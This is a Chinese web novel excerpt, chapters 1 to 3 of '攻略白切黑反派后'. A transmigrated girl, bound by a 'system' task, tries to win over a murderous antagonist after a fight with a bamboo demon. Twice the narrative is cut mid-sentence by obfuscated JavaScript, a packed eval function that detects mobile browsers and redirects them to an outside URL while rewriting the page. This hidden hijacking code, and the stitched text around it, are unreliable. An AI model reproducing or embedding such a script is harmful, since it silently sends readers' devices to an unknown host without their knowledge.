《攻略白切黑反派后》 1. 第 1 章 惊蛰,暴雨。 陡峭泥泞的山道上,一支队伍抬着一顶轿子疾步而上。 轿夫们布满雨水的脸上俱是晦气与恐惧,双目大睁,苍白的嘴唇微微颤抖着,显然是怕到了极点。 轿边垂坠的流苏穗子早已被暴雨打湿,在晦暗的雨夜中现出一抹狰狞狠厉的红。 道旁长满了芭蕉树,偌大叶子上的雨线倾泻而下,仿佛千万道银光坠落,轰然作响,溅起一丛白烟。 叶清圆抬手将潮湿冰冷的轿帘掀开一角,仰起脸向山上看去。 夜幕中,忽地一道刺目电光一闪而逝,照亮轿中人苍白的脸。 十七岁的姑娘,尚且称不上娇媚。若单看下半张脸,她的相貌便显得浅淡天真,肤色是一种病态的苍白,鼻尖与嘴唇皆是小巧,连下巴也尖尖,透出一种稚气未脱的娇憨。 可唯有那双眼,却是端丽得很。她的眼型长而媚,眼珠漆黑,眼睫尾端微微上扬,似墨笔细细勾勒出颇为骄矜的弧度。 “我就不能拒绝这个任务吗?” 叶清圆无奈叹息。 她现在的身份可是茶庄独女,家财万贯。 爹忙于挣钱,娘一心修佛。家里根本没人管束她。 开局就是有钱大小姐,她是吃饱了撑的,非要完成这些要命的任务? 系统甜甜道:“若是没有按时完成任务,宿主将会被系统优化哟!” 叶清圆:“……” “被优化”这件事不难理解。 原身自小体弱多病,脸色白得像鬼,成日里就靠各种滋补的药汤吊着。 若是系统想,让原身的体弱之症加重,直接送走也不是难事。 穿越而来的叶清圆呢,自然也会被一波带走…… 好卑鄙。 系统羞涩一笑,又加猛料:“根据系统资料库的筛选结果来看,反派谢尽芜无论相貌身材,皆堪称极品!宿主确定要错过吗?” 叶清圆耳朵一竖,犹豫半秒,是给这位素未谋面的反派最后的礼节。 半秒后,她缓缓笑了:“那我就……勉为其难吧。” 原书中不止一次提到过,反派谢尽芜长得好,身材又劲。 看到结局的时候,叶清圆还在可惜,多好的小少年呀,怎么就变成那副病骨支离的模样了? 如今有任务在身,她倒是隐隐期待。 这反派到底生得什么模样,连系统都将他的美色作为卖点? 一般好看的,叶清圆不会在意。 像谢尽芜这样靠单凭脸就引起系统注意的,她高低得去瞅一眼。 大雨滂沱,山腰里悬了一座颇为破败的大住宅,庭院垮塌光线晦暗,应当是许久无人居住了。 这院落以竹篱围绕着,掩映在漫山如火如荼的杜鹃花丛之后,影影绰绰,叫人瞧不真切,说不清的诡异。 轿子“吱呀”一声落下。 轿夫们挥袖擦去脸上的雨水,站在泥泞的山道中一言不发。他们的双唇颤抖着,看向宅院的目光中满是惊慌恐惧。 墙垣内簌簌有声,似乎有某种野兽踩着枯枝落叶走过。冷冽山风浩荡席卷而过,激起轰隆隆的低响,早已分不清是闷雷,还是这野兽的低声嘶吼咆哮。 叶清圆微不可闻地叹了口气,垂手放下被雨浇透的轿帘。 目光望着黑暗,她迟疑一瞬,极为小声地问道:“但是,有必要做到如此地步吗?” 系统并未回答,只是在她的脑海中缓缓浮起了一行文字:“新手任务:收服宅中竹妖。当前任务进度:0%,请宿主加快任务进度。” 很好,够无情。 叶清圆忍住揍它一顿的冲动,深吸一口气,半阖着眼,抬起手拢了拢雪白大氅。 冰冷的夜风灌入脖颈。 叶清圆静静回想着这本书的内容。 书名《明烛夜话》,标签是恐怖悬疑、复仇虐渣。 主角谢尽芜幼年失怙,自小受尽屈辱折磨,又遭人暗害,身中邪术,生不如死。 极度的痛苦之后,他的心性不出所料地扭曲,变得疯魔、病态,嗜好杀戮与血腥。 谢尽芜天资聪颖,他隐忍多年只为窃取情报。一朝挣开枷锁,就提着剑虐杀了仇人满门。 曾经欺辱过他的人,都被他一一折磨致死。 然而,谢尽芜忍辱负重十几年,一朝复仇雪恨,却并不像虐渣文男主那样坐拥天下、美人在怀。 相反,他终年郁郁寡欢,虽复仇手段极为残忍,却反倒闹得自己一身病骨支离。到复仇之夜的时候,他已是病入膏肓、油尽灯枯。 那晚月红如血,他灭掉仇人满门,粘稠滚烫的血溅在他雪白干净的脸上。 他提着剑漫无目的地走了一整夜,最终因重伤而跪在了铺满碎石的溪畔。 溪畔有雾,枯叶簌簌。他提剑割喉,清澈微凉的溪水被染成了一泼烈火,漫天红霞。 这本书上架不久,就因为谢尽芜的复仇手段过于病态、残忍,复仇后又消极自戕,一点都不爽而广受恶评。 原作者当场破防,大笔一挥,将谢尽芜的受虐经历和复仇情节全部删除,反倒添加了诸多江云初与许明竹的虐恋情仇,亲手将这二人抬为主角。 整本书诡异癫狂的风格也改成了狗血火葬场。 作为原主角的谢尽芜,却几乎是被雪藏,沦落成了连面都没露几次的反派…… 不幸的是,叶清圆读到的就是修改过后的版本。 但这不能怪她。 她毕竟深耕小言多年,哪里知道这酸涩恋爱情节的背后,还有一条关于谢尽芜的暗线呢。 更不幸的是,她穿成的是一个与她同名同姓的恶毒炮灰,开局就因嫉妒女主江云初而不自量力地去降妖,降妖不成被群嘲,心态当时就崩了。 之后,原身依旧蛮横,多次出言羞辱谢尽芜,甚至暗中使绊子,害得他行动受阻。 谢尽芜本就心思敏感多疑,戾气又重。忍无可忍之后,一剑将她双腿的筋脉挑去,丢在荒郊野岭中。 叶清圆:“……” 系统甜声道:“后来,这位大小姐就被路过的老婆婆救下,度过了平和的后半生。” “而谢尽芜呢,就走上了灭门屠宗,涂炭生灵的反派之路。”系统鼓励道,“宿主,为了天下苍生,请一定要攻略他、阻止他啊!” 叶清圆正想到此处,笑了一声:“四大修真世家都对他束手无策,偏偏要我来阻止呀? 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难道这所谓的大妖,竟是他的手下? 叶清圆谨慎地打量着周遭,这院落中遍地枯叶,被山风吹送着划过青石地面,发出刺耳悚然的刮擦声。 既然原身是在竹林处遭袭,那么这大妖必定藏匿在附近。 她斟酌一瞬,决定速战速决,转身朝后院快步走去。 越向后走夜色愈发浓郁,如墨一般似要滴落下来,周遭也极为安静。 奇怪,分明这个时节的花草刚要抽芽,此时风中却弥漫着一股浓重的草木香。 草木香气本该是清新淡雅、沁人心脾,可此时这香味浓厚刺鼻,浓郁得甚至有些呛人。叶清圆不禁抬袖掩鼻,片刻,两道淡秀的长眉微微蹙起。 这掩盖在香味之下的,竟是一股淡淡的血腥气! 想必大妖已然现身! 顺着血腥气的来源一路走到后院,此时云开月明,皎洁清辉之下,一丛青竹异常高大,枝繁叶茂。 舒展竹叶间萦绕着一团团萤火虫,将这方天地染得诡异凄惨至极。 事出反常必有妖。这丛竹林必得与那大妖有些关联。叶清圆的心跳紊乱,呼吸时喉咙已经弥漫出铁锈味,小腿肚也隐隐颤抖起来。 ……原身这个身体素质也太差了吧! 叶清圆勉强缓了口气,借着月光观察片刻,不见任何动静,于是准备先找些趁手的武器防身。 刚要抬步,头顶房梁上一息刺目的白光划破夜空。 朔风在这一瞬从天降临,茂密的竹林疯狂地舞动起来,竹叶随着竹枝的颤抖簌簌飞舞起来,浩浩荡荡似有人随意搅弄风云。 晚风拂起了叶清圆鬓边的碎发,碎发掩映间,露出小巧莹白的耳垂上坠着的一只珊瑚珠子,点点红梅映白雪。 叶清圆抬袖挡风,大氅被朔风毫不留情地拂开,顿时飘逸如蝶。耳畔狂风呼啸,竹叶漫卷飞花,刮擦着青砖地面发出簌簌响声。 在这样狂乱而冰冷的夜风中,叶清圆突然耳鸣,呼吸沉闷,一颗心在腔子里跳动如擂鼓。 这虚弱的身体……她不会直接猝死吧? 叶清圆感受到自己剧烈紊乱的心跳,好不容易等耳鸣消失,却蓦然听见头顶传来极轻的一声笑。 她抬眼望去。 广寒夜幕下,翘起的檐角之上,竟有一名少年持剑而立。 那人穿一身玄衣,清隽高瘦,修颀秀挺。手中长剑尚未出鞘,却已现出凌冽的杀意。 他一语不发,微垂着脸,身后是一轮皎洁孤月悬在漆黑的夜幕。 清辉如雨雾泼洒,照亮他精瘦瓷白的脖颈。或许因隔得远,叶清圆抬眼望过去时,只能瞧见他唇角那一点嘲弄的笑。他整个人被笼罩在溶溶的月光下,眉眼朦胧得像覆了一层模糊的水雾,叫人看不真切。 嗯,果真不错。 他足踩檐角,剑穗飘扬如飞云。廊檐四角各自悬了铜铃,随朔风漾起悠扬清脆的响声。 谢尽芜。 “叮——!目标人物出现!触发主线任务二:攻略反派谢尽芜。” 系统的任务提醒恰到好处地响在脑海。 叶清圆垂下眼睫,抿唇轻笑。 在原书中,大反派谢尽芜不仅暗地里虐杀修士无数,明面上也是冰雪般的难以接近。他仿佛是个天生的杀戮兵器,从不喜与人结交,眼瞳中总带着漠然又冷戾的意味,叫人看一眼就联想到他手中那柄雪亮的长剑,忍不住地心里发虚。 这样的人,按理来讲应该不会将目光分给旁人。除非,他对那人起了杀心。 譬如此刻,谢尽芜的目光落在她的脸上。 这人生有一张巴掌小脸,下巴也尖尖的,是娇憨稚嫩的模样。唯独那一双圆润漂亮的眼眸,竟是柔和的琥珀色,扬起脸微笑时,眼尾却又微微勾起,显出几分尚且青涩的明媚。 她的耳垂戴着珊瑚耳坠,随动作晃呀晃,映衬着耳后与脖颈白皙的肌肤,宛如飞溅在雪中一滴殷红的血。 他的手指拂动剑柄,漠然疏离的眼眸中漫出杀意。 叶清圆没有读过《明烛夜话》被大修之前的版本,因此,她只记得书中提到过谢尽芜手段残忍、热衷杀戮,却并不知晓,他伪装良善的功力也是一绝,对姑娘也从不生怜惜之情。 于是,她出于“留下良好的第一印象”的习惯,下意识地冲这位俊俏的攻略对象微笑了一下:“谢公子,你好。” 叶清圆睁大了双目,一双琥珀色的瞳仁在月光下尤显得清亮。飘拂的竹叶从她颊旁滑过,微弱的萤火散漫如星。 她的唇边漾出梨涡,一缕碎发勾在尖尖的下巴。 谢尽芜的眼神中漫出一丝虐杀的兴趣。他垂下眼睫,忍耐片刻后,唇角扯出一抹戏谑的弧度,极轻地哼笑了一声。 这声哼笑颇为低沉,满带凛冽的杀意。身后的竹林当即感知到这份狠戾,竹叶颤抖着簌簌飘落。 然而,叶清圆对这一切却浑然不觉。素白的指尖将碎发拨到耳后,她提着长裙在后院慢慢绕了一圈,终于从朱红秋千后找到了一只斧头。 她有些费力地将斧头抱起来。 谢尽芜居高临下地看着她。 叶清圆仍旧乐观,一双眼眸亮晶晶满是笑意,扛着斧头吭哧吭哧往回走。回到竹林旁时,她的额头已然出了一层薄薄的汗,脸颊也有些微红。 看来这位原主还真是病弱不堪,不过十几步的距离就累成这样,再跑五分钟怕不是要把肺都吐出来。 她借着月光垂首打量这柄斧头,稍微有些生锈,不过尚且能用。如今她什么防身的装备都没有,这柄生锈的斧头至少是聊胜于无。 现在,便是她除妖的时刻了。 思及至此,叶清圆深吸一口气,两手握住斧头把手将之提起,而后气沉丹田,朝着青竹用力一挥! “喀喇喇!”的巨响过后,伴随着竹枝撕裂的凄惨叫声,一丛青竹晃了几晃,轰然倒下。 叶家有女初长成,力拔山兮气盖世。 叶清圆颇为满意地活动了一下手腕,虽这副身体娇滴滴的弱不禁风,不过好歹她还懂得如何发力效果最好,主观条件既然已具备,至于客观条件,待她回家之后慢慢再锻炼就是了。 她向掌心吹了口气,正要砍下第二斧时,站在檐角的谢尽芜漫不经心道:“姑娘这是在做什么?” 叶清圆转身望他,因使足了力气,颊边红扑扑的出了一层薄汗,便显得那双眼眸尤为明亮。 她莞尔,天生的一把清甜嗓音:“捉妖。” 谢尽芜半垂着眼帘,唇角的笑意蕴着讥诮,“怪不得姑娘要替了江云初来此献祭,原来竟藏着这等高明手段,在下佩服。” 叶清圆笑容一僵,心想这个反派果真是有些头脑和眼力的,竟一眼看透她的身份和所为,真不亏是原作者呕心沥血写出来的亲儿子——曾经是吧。 “哈哈哈,谢公子好风趣,”叶清圆听出他话语中的嘲讽,却不敢与这杀人狂正面对峙,只好绕着弯子,“我的修为不及云初姐姐,可是又想替她分忧,便只好行此下策。” 叶清圆眨了眨眼,面上笑容保持不变,实际内心无比焦灼:原身既给她丢下了这个难以收拾的烂摊子,系统又要她完成捉妖的任务,如今还来了一个不好对付的谢尽芜,她若是没有主角光环,怎么敢如此行事? 谢尽芜淡淡瞥了她一眼,额前的碎发掩住了他的眼眸,叫人瞧不清神色。他对她的善良不置可否。足尖一点,借力跃下檐角。 光影变幻,微风轻抚。朦胧的月光倾洒,照亮他的半边脸。 净白如瓷的脸颊,薄唇色泽浅淡,漆黑的眼瞳中不带一丝笑意,冷冽彻骨如冰雪。 他轻轻落地,踩过积起浅浅水洼的青石砖。手中剑穗坠着一块白玉,随微风吹拂而轻轻摇晃着,莹莹光华映照他骨节分明的手。 叶清圆抿着唇望他,他却停在了十步之外,不再上前,眼中现出一抹嘲弄。 摆明了要袖手旁观。 她见状笑了笑,表示理解。随后抡圆了手臂将那斧头狠狠朝竹林挥去! “哗啦——” 竹叶纷乱如水波般荡开,萤火虫惊飞如漫天星辰,随着她这一斧子下去,竟是伐倒了大片竹林! 谢尽芜终于忍不住出声道:“姑娘再砍下去,这竹妖可是要秃了。” 叶清圆小腿肚抖得快要站不住,手心也麻了,说话时喘得简直就像是在拉风箱。 她叹了一口气,目中露出苦涩道:“不瞒公子,我其实并没有灵力傍身的。可是这大妖已然困扰城中百姓许久,唉,我这么热心又善良的人啊,怎么可以袖手旁观呢……” 她咳了两声,终于缓过气,眼中重又露出光芒:“不过我方才拿斧子劈的时候,这竹妖丝毫不敢反抗,仿佛对周遭的人十分畏惧。我思来想去,这个人必定不是我。那么就一定是谢公子强大的灵压震慑住了它!” 她笑着拍了一下手,清亮的一声:“谢公子果真是来帮百姓们降妖的吧,真善良!” 谢尽芜抚着剑穗的手顿住了。 他唇角的笑缓缓落了下来,取而代之的是目中深深的冷漠与防备。 “无知。” 一道摄目的寒光闪过,谢尽芜抽剑出鞘,袍袖瞬时灌满了灵力,身影迅疾如白鹤振翅飞过,唯余蕴着红梅香的寒风稍纵即逝。 他出剑的动作太快,叶清圆下意识地双袖护在身前,做出了防御的动作。再睁开眼时,颈边霎时掠过一阵寒风,鬓边碎发被杀意削掉了一缕。 周遭的空气瞬时都扭曲起来,风也停了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445914|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一道莹莹绿光如火般蔓延至眼前,叶清圆睁大双目,却见身前立着一道虚影。 这虚影有两人多高,瘦长正如青竹,浑身散发着泥土与肉类腐烂变质的腥臭气息。 它的双目猩红,不偏不倚,正巧与叶清圆狠狠瞪视着,目中藏着泼天的贪婪与怨毒。 作为新世纪的乖乖好学生,清圆平时连舍友分享的恐怖片都敬谢不敏。如今乍一与这副尊容对视,当即吓得睁大双眼,惊叫一声,踉跄着后退了好几步。 那道绿影不依不饶逼近着,满是腥臭的大嘴裂开,走腔变调地模仿着人类的腔调:“既不怕死,便先拿你来填饱肚子!” 叶清圆的小脸一瞬苍白,她努力克服心里的恐惧与厌恶,咬着牙颤声道:“嘴巴这么臭!到底吃了多少人,你这妖真是该死极了!” “加上你可正好六个!”绿影一边分神提防着谢尽芜,一边伸出锋利的指爪狠狠探向清圆的脖颈。 谢尽芜仍旧持剑立在一旁,静静不语。 绿影的指爪散发着浓绿的雾气,猩红的血沿着指尖缓缓滴落。不用想便知沾染了剧毒,只要被轻轻划破肌肤,便有可能当即毙命。 清圆扛起斧头,心说拼了。她就不信系统还能眼睁睁看着她攻略未半而中道崩殂。这柄斧头虽不太好使,至少也应该有个主角光环,能挡住这竹妖一击或许还是可以的。 ……可以的吧? 猩红的血手已然向清圆抓来,眼见着就要打断斧头,再刺破她娇嫩的肌肤。 “啊——!!” 痛苦的嘶鸣惨叫声之后,那绿影疯狂地颤抖扭曲着,尖锐的暴鸣声中满是愤怒与不甘。 意料中的交锋并没有到来,叶清圆后知后觉地睁开眼,数十道雪亮剑光从各个角度刺入绿影,剑光锐利,势不可挡,当即将绿影扎成了个刺猬。 剑光的主人,谢尽芜眉目淡然,脸上满是沉静,连半分情绪波动都无。 他手腕翻转,如拂梨花,如挽青丝,漫不经心地将最后一剑推入绿影的心肺。 叶清圆回头望他,他的眼眸亮如寒星,眉梢眼角上扬,竟是堆了丝丝缕缕的笑意。 刺出这一剑,竟让他由衷地感到满足。 绿影不甘地哀嚎大叫,拼尽全身修为爆出妖力,霎时万千锋利的竹枝飞出如刀,无差别的攻击周遭所有。 这临死前的一场攻势来得好快,叶清圆根本来不及躲避,更遑论防御。 危急间,她灵机一动,蹭地一下跳如脱兔,飞快躲到了谢尽芜的身后! 幸好谢尽芜本就站在她身后不远,她躲得及时,那竹枝锐利却也划破了她的手腕。长长一道伤口,足有三寸多,血珠当即飞溅而出,叶清圆痛得脸色瞬间一白,眼眶霎时就红了。 谢尽芜顾不得与她计较这个,他的目光紧盯着那绿影的核心。绿影如蛛网般爆裂开的一瞬间,它的心口部分忽地绿光大盛,清脆的爆响之后,竟是一颗宛如翡翠般的珠子缓缓浮了出来。 他伸出手,以灵力引本命珠入手,同时唇角浮现出一抹笑容。 不料,一滴殷红的血不知从何处忽地飞溅而出,“啪!”地扑在了本命珠上! 谢尽芜的脸色忽地变了。 紧接着,这本命珠以肉眼难以看清的速度飞速将那滴血吞噬殆尽。 而后,追寻着血液的气息,它悬浮着来到了方才那个小姑娘的身边,眨眼间漫成一道光,没入了她的伤口。 这本命珠吞噬了她的鲜血,竟立刻认她为主。 谢尽芜凝视着她手腕的伤口,眸光冷戾得宛如要杀人。 绿影散尽,朔风停息。 叶清圆被竹枝划破了手腕,鲜血沿着皓腕滑落,痛得眼泪快要掉出来,丝毫没有意识到方才发生了什么。 与此同时,脑海深处响起系统的提示音:“叮!恭喜宿主,竹妖已降服。新手任务完成!” “新手任务奖励:系统已经在‘取舍庄’为宿主开户,并拨入一笔资财作为初始任务奖励,宿主随时可以查看。” “取舍庄”,便是相当于现实世界里的银行。这系统的奖励还挺可以的,废话不多说,直接发钱。 叶清圆看在资财的份上,短暂地原谅了它。 系统狗腿道:“宿主,系统没有骗你吧?” 它指的是谢尽芜。 叶清圆转头看过去,由衷道:“确实长得好。” 脸色别这么冷,就更好了。怪吓人的。 另一边,谢尽芜垂着眼看她苍白的小脸与微红的眼眶,薄唇紧抿起来。 他的眼眸中是掩不住的讶异,转瞬又被隐隐的杀意淹没,修长有力的手重新按在了剑柄上。 痛觉又漫上来,血液滴落。 叶清圆浑然没注意到他眼中的杀意,犹自托着受伤的手腕,可怜道:“谢公子,你这么厉害,那可有办法先为我止痛?” 3. 第 3 章 “那么危险的地方,你竟也敢孤身前往?!”叶肃眯起眼,“你的胆子真是越发肥了!” 叶清圆将那只缠满纱布的手搁在桌上,另一只手托住下巴尖,笑着道:“爹爹言传身教,我不敢懦弱。” 叶肃气得差点一头仰倒,抬袖指着她:“叶清圆,你还当我是在夸你?” 叶清圆:“嘻嘻。” 叶肃气笑了:“你嘻什么嘻?” 叶清圆抿着唇,不吭声了。 她其实看得很清楚,叶肃并非是焦急于她孤身前往危险之地,更不是痛心她受了伤,而仅是担忧会因此事而惹得永安江氏不悦。 这个便宜爹,对她的亲情没多少,却满脑子都是利益,都是面子。 “没有呀,爹爹,我们还是不要再讲这个了,叫谢公子听了该多尴尬。”叶清圆笑道,“这次还是谢公子救了我呢。” 话音落下,叶肃也像是刚反应过来谢尽芜还在此处,清了清嗓子,起身便要行礼言谢。端坐许久的谢尽芜见状搁下茶盏,虚托住他的手腕,颇为有礼颔首道:“言重。” 叶肃浅浅一笑,方才的失态又不见了,面上恢复了生意人常见的那种高深莫测。 这年轻人相貌丰神俊朗,举止谦逊有礼,分明与自家女儿差不多的年纪,却自生一派沉稳气度,着实难得,心下不由得对谢尽芜生出几分好感。 再看自家闺女,除了吃睡就是花钱,身体还不好,真是哪哪都叫他不痛快。 叶肃含恨地叹了一口气。 叶清圆捧着茶盏,一双乌亮的大眼带着些许探究与戒备,也悄悄地盯着谢尽芜看。 雨后濛濛的光穿过直棂窗透进来,照清了他的五官。 昨夜月色朦胧,他的眉目也模糊。如今细瞧了,这才发觉他的眉眼竟比一般人来得要深刻,睫毛亦浓密纤长,眉骨与鼻梁皆美得突出,是墨笔难以勾勒的弧度,锋利如刀。 茶雾氤氲,濛濛的清冽香气如烟般缠绕着谢尽芜的肩颈。 他昨夜刚除了一只大妖,此时脸上竟不见丝毫杀意,眉目淡然如水,不经意间望过来的神情甚至有几分嘲弄。 这个大反派,分明是袖手旁观了许久,故意看她笑话。此时却堂而皇之地以恩人的身份登入了叶氏的大门,演戏的功夫还真是有一套的! 叶肃轻笑着坐回黄花梨木椅,又唤人添上热茶,目光在他身上扫了一圈,状似不经意问道:“谢公子既能轻而易举降服了那妖怪,必定是修为不低吧?” 叶肃多年经商,早将喜怒心思深藏于内。他乍一看是个慈祥和蔼的胖子,实则颇有内秀,知晓眼前的少年非同小可,所以句句都切着要害说。 “过奖。” 叶肃发出笑声:“我见谢公子总有一种亲切的感觉啊。” 谢尽芜有些疑惑地抬起眼。 “实不相瞒,我年轻时也略懂一些捉妖除祟的,当年我尚未吃这口茶叶饭的时候,还与江氏家主一起喝过酒呢!” 叶肃笑容不变:“谢公子可听闻过永安江氏?” “嗯,”谢尽芜垂下眼帘,明摆着不愿回答这个问题,淡声敷衍道,“在下无门无派。” 言下之意,叶肃不必再试探了。 叶清圆捧着热茶听得忍不住笑。以谢尽芜那般冰冷沉闷的性情,能敷衍叶肃到现在属实不易了。 恰在此时,花厅外来了一名执役,神情严肃,低声称有急事禀报。 叶清圆自叶肃身后探出脑袋,见来人素衣素服,身量挺拔,远远望去,一双压低的眉目冷厉如刀。 原书中对叶清圆的府中之人根本没有提及,因此她也并不认识来人是谁。不过既然系统没有提示,想必是个不重要的配角。 倒是叶肃,对谢尽芜试探无果本就不悦,一见到那人脸色顿时变得尤其难看。他挥手起身,转头对谢尽芜颇为抱歉地笑了笑,又叮嘱叶清圆不许乱动,不要再乱跑,这才大步离开。 丫鬟仆役们也被遣退了,花厅内唯留下他们二人。 叶清圆的眼珠一转,收回了目光,专心致志用那只裹了纱布的手捧着茶盏,小口地啜饮。 “叶姑娘,”谢尽芜漫不经心地轻声开口,“可否借一步说话?” 叶清圆垂眸看盏中茶叶,澄黄的茶水倒映她耳垂上的红珊瑚,“此处没有别人,谢公子可以畅所欲言。” “隔墙有耳,”谢尽芜站起身,修长白净的指节拂了拂剑穗,“贵处何地最为隐蔽,身为大小姐,你不会不知道吧?” 叶清圆颇为不舍地放下茶盏:“上好的君山银针,谢公子待我饮完这一盏?” 谢尽芜半回首,侧脸在光影中现出朦胧迷离的美来。他长睫微颤,不轻不重地瞥她一眼,转身抬步迈了出去。 叶清圆翻了个白眼。 是个美人。就是脾气也太差了。 - 叶府世代贩茶为业,传至叶肃,已然是初阳镇首屈一指的茶商富户。 原身叶清圆,身为叶氏独女,却完全没有继承这份家业的心思与本领。她自小蛮横,家里又很少有人管她。 她总是在喝药,身体好一些便乔装打扮混入茶庄茶楼里听戏,顺便探听坊间的八卦逸闻。 而对于自己家的茶叶生意呢,她是向来敬谢不敏的。 穿过前院一条抄手游廊,过一道垂花门,眼前豁然开朗,小径旁怒放的梨花之后倏然现出好大的莲池。此时雨后初晴,清澈荡漾的碧波倒映着澄蓝的天,连风也是微凉清香的了。 叶清圆提着裙角,颇为谨慎地踩过铺满鹅卵石的小径,坐在一方圆石墩上。湖风吹拂,她微眯着眼,指了对面一处石墩:“谢公子,请坐呀。” 谢尽芜端立在梨花树下,眸光纯净,淡声道:“你可有灵力?” 她扬起脸,颇为真诚地笑了笑:“没有。” 谢尽芜嗯了声:“那么,这只本命珠在小姐体内,有害无益。” 什么本命珠? 叶清圆睁着一双大眼,因没有听懂他的话意,而显得目光呆呆的。她斜对着摇曳的花影,重复道:“本命珠?” “在我身上?” 谢尽芜不给她反应的时间,又道:“小姐并无灵力在身,无法将本命珠中的力量化为己有,若不想办法解决,或许某一日便会暴毙而亡。” 他的嗓音低沉,眉梢也隐隐流露出恶劣的笑意,仿佛在故意吓唬她一般。 不料,叶清圆惊讶过后,竟是轻轻点了头,“那依谢公子的意见,该怎么办呢?它既认了我为主,想必也是不好取出的吧?” 风细细吹送,她拂了拂鬓边的碎发,“谢公子专程来此降妖,想必也是为了这本命珠?可是那竹妖连你的一击都抵挡不住,看来也并无厉害之处,难道它的本命珠有什么特殊的功效吗?” 她碎碎念了一通,神情里满是平和与坦荡,仿佛是真的在为他着想了。 谢尽芜向来温雅阴狠,心思百转,心中所想是从不肯放在明面上说出来的。此时猝不及防地被她剖白一通,心中讶异之外,竟隐隐生出几分不耐烦。 他眯起眼看她,眼中漫起的笑意中蕴着危险的意味:“那竹妖自身所育本命珠自然一无是处。可它当年却潜入永安江氏,窃取了一只千年蛇妖的本命珠,导致修为大增。所以即便被封禁在半山,它依旧有胆量这么肆无忌惮地作乱。” 永安江氏,正是原女主江云初背后的镇邪世家。 谢尽芜缓声道:“谢某对当今镇邪除祟的各大世家所知不多,却也曾听闻,江氏与叶氏当年为了争夺点灵之道的头一把交椅,可是斗了许多年。” 也不知有何深仇大恨,本就是争个高下的较量,江氏竟拿出了不依不饶的态度,对叶氏赶尽杀绝起来。结果呢,叶氏承受不住这般无孔不入的追杀,低头认败,并远远避居这初阳镇,立誓从此以后,叶氏后人再不会培养一个修士。 直到叶肃这一代,两家人的关系才稍微缓和了些,逐渐有了来往。初阳镇地处偏僻,山林遍布,又缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445915|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乏世家的镇守庇佑,也时常闹些邪祟妖鬼之事。叶肃为了护佑一方百姓的安宁,才重拾老祖宗的技艺,学了些保命的招式。 对此,江氏家主只当不知。 这般跨越了几代人的仇恨纠葛,叶清圆作为一个穿越过来的人,自然是不清楚的。 她垂着眼帘沉思一瞬:“谢公子是想说,这本命珠素来是江氏所有,如今却认了我为主。那么江家的人今后肯定不会放过我的,对吗?” 谢尽芜负着手:“小姐聪慧。” 叶清圆叹了口气,眼中仿佛满是哀愁。 她抬起手,手背抵在素净的下巴尖上,心中却止不住腹诽:这大反派自己想要本命珠而已,却非要说这些弯弯绕绕哄骗她,不就是想让她把本命珠取出来吗? 可是她毫无灵力,取本命珠这种事谈何容易? 并且,按照原书的设定来说,谢尽芜心思极为敏感,一旦有哪个字眼触怒了他,他虽面上不显,心中却阴戾得很,迟早要使手段将人凌虐而死。 叶清圆不能与他正面交锋,对付这样的人,首要之事便是降低对方的防备心。她蹙起眉心,一双眼中带着几分可怜与期冀:“可是我没有灵力,若强行取出本命珠是会痛死的吧?谢公子,你可以借给我一些灵力吗?” 她不说是谢尽芜需要这个本命珠,而是说自己求他相助、保下性命,如此诚恳的态度,他总不至于会拒绝吧? 谢尽芜立在梨花树摇曳的影子里,对她的示弱却无动于衷。 “叶小姐误会了,有灵力却不会使用,也是于事无补的。”斑驳的光影泼洒在他脸上,他垂着眼睫,眸中平静,“但是,在下知晓一个办法,可以既取出本命珠,又不至于让小姐太过痛苦。” 叶清圆扬起脸。 谢尽芜眼睫一颤,似乎想起了什么不好的事,敛起眉脸色忽地沉冷:“时机到了,我自然会告诉小姐。” 他的语调轻轻,分明是平和的语气,字里行间的玩味却叫人猜不透他心中所想。 叶清圆虽聪慧,却也只是个尚未毕业的脆皮大学生,哄人开心或者撒娇玩闹她是一流的,可却极度缺乏与反派的社交经验,如此绞尽脑汁地与他周旋许久,早已想不出什么话来应对了。 恰在此时,小径上忽地有人呼唤,一名丫鬟分花拂柳地小跑来到,附在她耳边轻声禀报道:“小姐,江小姐方才醒了,正在观棋亭里等着,想与小姐说话呢。” 叶清圆转过脸,莹白的脸颊在晴光映照下细腻如玉,湖风轻抚,细碎花瓣从颊边滑过,簌簌落在裙上。 她的神情有一瞬的迷茫,待反应过来以后,脑中忽地一阵嗡鸣。 她在祭妖之前,好像是一杯药酒放倒了那位江家大小姐呢…… 记忆如潮水一般汹涌袭来,不断拍打着她的耳膜,隐隐作痛。 那晚,原身利用江云初对自己的毫无防备,而哄骗她喝下一杯毒酒。眼睁睁地看着江云初伏倒在梨花木桌上,原身先前伪装的良善面孔忽地褪去,露出一副狰狞狠厉的神色来。 她高傲地扬起头颅,趁她昏迷,小人得志道:“你是个什么身份,竟敢在本小姐的地盘上出风头,竟还要上山捉妖!整个初阳镇都是我爹爹罩着的,若要除妖也是由本小姐亲自出马,轮得到你这个外人在此显摆吗?!” 江云初好心除妖,到了原身的口中,却成了“显摆”。 原身说罢,还不解气地伸出手指,在江云初的脸颊上狠狠戳了一下。 或许是指甲尖锐,掐得有些疼,江云初的眉心一蹙,睫毛微颤,似乎就要醒来。原身见状,抬起手又向她颈后劈了一手刀,慌不择路地转身出去,随后命人封死院门。 原身脑回路异于常人,心思恶毒却心智有缺,只顾着办坏事,完全考虑不到事发后该如何收场。 